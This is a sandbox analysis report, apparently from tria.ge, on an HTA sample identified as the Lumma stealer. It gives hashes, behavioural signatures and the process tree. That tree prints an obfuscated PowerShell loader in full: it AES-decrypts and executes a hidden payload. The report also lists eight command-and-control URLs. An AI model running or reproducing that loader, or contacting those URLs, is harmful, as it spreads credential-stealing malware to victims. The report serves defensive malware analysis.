Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
134s -
max time network
135s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
19/08/2024, 15:59
Static task
static1
Behavioral task
behavioral1
Sample
smart1.hta
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
smart1.hta
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
smart1.hta
Resource
win10v2004-20240802-en
General
-
Target
smart1.hta
-
Size
162KB
-
MD5
e779ad7fcdc079af0012414407e2e892
-
SHA1
752c018c3be78f9fb25587d6452f2f6b0d9cd3a2
-
SHA256
aaa862c14154374b00e16f2440dabfcb9c8b7ca6655942530c83a6c96c065438
-
SHA512
ad8813afdacfc7d0b462aa011523861d393dd752af580358b81cafe408cc89ad9e0a64cbf886c61757cfb30a3cec8b3cc1ce3bdf4372d24a5d1c04a80b4f3db0
-
SSDEEP
3072:088nbom5xIAb88nbom5xIAY88nbom5xIAo88nbom5xIA:ByxH6yxHNyxHdyxH
Malware Config
Extracted
lumma
https://femininedspzmhu.shop/api
https://writerospzm.shop/api
https://deallerospfosu.shop/api
https://bassizcellskz.shop/api
https://languagedscie.shop/api
https://complaintsipzzx.shop/api
https://quialitsuzoxm.shop/api
https://tenntysjuxmz.shop/api
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 2 3020 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 60 0calendarscope.exe -
pid Process 3020 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 60 set thread context of 4164 60 0calendarscope.exe 76 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language BitLockerToGo.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3020 powershell.exe 3020 powershell.exe 3020 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3020 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 424 wrote to memory of 3020 424 mshta.exe 73 PID 424 wrote to memory of 3020 424 mshta.exe 73 PID 424 wrote to memory of 3020 424 mshta.exe 73 PID 3020 wrote to memory of 60 3020 powershell.exe 75 PID 3020 wrote to memory of 60 3020 powershell.exe 75 PID 60 wrote to memory of 4164 60 0calendarscope.exe 76 PID 60 wrote to memory of 4164 60 0calendarscope.exe 76 PID 60 wrote to memory of 4164 60 0calendarscope.exe 76 PID 60 wrote to memory of 4164 60 0calendarscope.exe 76 PID 60 wrote to memory of 4164 60 0calendarscope.exe 76
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\smart1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:424 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function fUUeIY($lrWzRn){return -split ($lrWzRn -replace '..', '0x$& ')};$FGCBsqZ = fUUeIY('08FD478788FD182E0D6A1297D93DACE694080CD7F35ADBE558CD7FBB26FB97CEF183BDC57B0782D2B310E50E9538F222218DAF2B5F0E61D9ADB34F76264C3C66C4FEABD1821E62EAD18B77FD172B17ECBAD2DDC3ECAB5642717B8F464BA00D90A0784154C8629D02179DA9B180F3781539C31AB37867F1C66AABA360A06DF2C2B35354B861395E34DF7A54434AB6F1524289CE6BA2AEE554C7D088A2BD34C7CFE4BE71DB90304E0DDBEC5C891AB135328DB0B3445C7A274667ECEA7166CE851718F520C05B8F68C1973471420FA9A9B02DE9BCD937464936741A859E9F88712A86E973BE67B43C7654010A114284698E85675BF3F408CBC0ADC0A5804E4D9A917FDA8D126DD6FDDEF79FF312B55099E3677E88C5CC51754000AABAD387DD7BD65CC78F68BE3FBA4D94E8CE87B0F790DDCA87540ACBF8166F48AD0086D2EDA5394E16C4A7679B8CEEB745A8C545CD148C06CC2C5A09AA9CC6469AD640061435C77E45E0CE3B1DDB0936FEF91858B2A3D608429A7F39D986595A35E9ECE74FE663C8E7D857E779004FA5AB393A609D450C4DF7EA77F0BBC2E548E712D804A47EFAEE269EEAF19FF4BA7A2E7BEE957A26AAB13695F858DD6BB5A340C2CEFB1E35B422EA6F57F5C88F3D3FC1486F497C0E8C1A4DF8E465319931B8161DCABC3EE9797EECF86AADB519097F90903A13EF068A5E603B5A861CD9886FCD92AFA622F92DB0E4F14E46DF13EC8D95C63E19E74F71924D72EAA971F41A9A6399D9EF65DE7DD16CBA871A8F1F1D8822ED8040E78E16C3E5232C80C361E4F41C46E87E061AE2BF0139E3C39FB1022398C54980F5D6ADFCAF3D17CADE553BEAA76A8D18E05AD505982913891A83B8934C2EBBD75BA6A408AAB72216AC0E735D644CF2D5F67605A0FC8929AD569B79002EEAA21701B0321230F0A0809C7FB51A46BD1ABECD92825349CC02861904FAFDE7A83C29598432DECA7C4A40B6A764E58FF811E0554E57AE64F8025CBA4286E1BCB741FCB1971DF9A16072E161CBD9150C18675D2A10794DE1DD2DB8903E9E8CE2342DB0D6ECB9A5B7743167B1B954CFCF564C2792DEE76CF4D4616D8CA8AB5A57307E79B95766E8AFB66600EB27BD6C56920B5852D4317EEA2025ABC60AF46FE117F3A988FF3C73DAF3C2D13FCAFA3A97F5A276CB11B4E57106A500F47040089F99C31749EB15778D452D80F7A3D0BE5087A618E411E97063841B046BB11F7E623056420EF838F4880A89743A375971C214C0260377A92D85E3ADD8BFE2991F6CA44F54949400C8248872973E9AE771937ABBE320166A0BE7E30620D088BB8192C40CBA2E457F577096559BF141CCBD3AA25E5ADA6F45958D2BCD6C0B047545BAA0D53B5A8608F585966668F7BCDB926421F8AA38184E2BE41C0CEE2A7C183C71D5E0091773A1337D292B3BC1B32C766CED4D9896DA0ECFBCD8E2FE21388F06CBACB282FABCE4DDBA921FE5529F378977716CF8B7164B116B2176C01C9A5340F8303C8D471A97627068C8D3FF3446062A857A52C429A4423E2E56C97ADB7CA3D773600AB1251901248A570FE9F556B6E775248C3FDAF052643CB9F16F1B7153ED12FAF60D9976');$mmXhH = [System.Security.Cryptography.Aes]::Create();$mmXhH.Key = fUUeIY('596C6F47555751725873557067474F55');$mmXhH.IV = New-Object byte[] 16;$jttVgzHn = $mmXhH.CreateDecryptor();$enAWQWiVe = $jttVgzHn.TransformFinalBlock($FGCBsqZ, 0, $FGCBsqZ.Length);$BMbsFEMTg = [System.Text.Encoding]::Utf8.GetString($enAWQWiVe);$jttVgzHn.Dispose();& $BMbsFEMTg.Substring(0,3) $BMbsFEMTg.Substring(3)2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Users\Admin\AppData\Local\Temp\0calendarscope.exe"C:\Users\Admin\AppData\Local\Temp\0calendarscope.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:60 -
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exeC:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe4⤵
- System Location Discovery: System Language Discovery
PID:4164
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
16.5MB
MD5c77d9a74fc554afaf9d477f45175cdb5
SHA1d3b673425c29de3820144600a606655dea31e75d
SHA2569d3ccb5909fdb37465abeef19b83e868ccb6397ffa22ad434b7a16231a711fae
SHA512d98ea6419918c06cd857dfa82ffc8628897e1e376559d0c0308a9bfc182cc8e78fff06c51d665c8793fa5ab441dd1ae6dc1cfab9ec2181e9a6469a3499ea0827
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a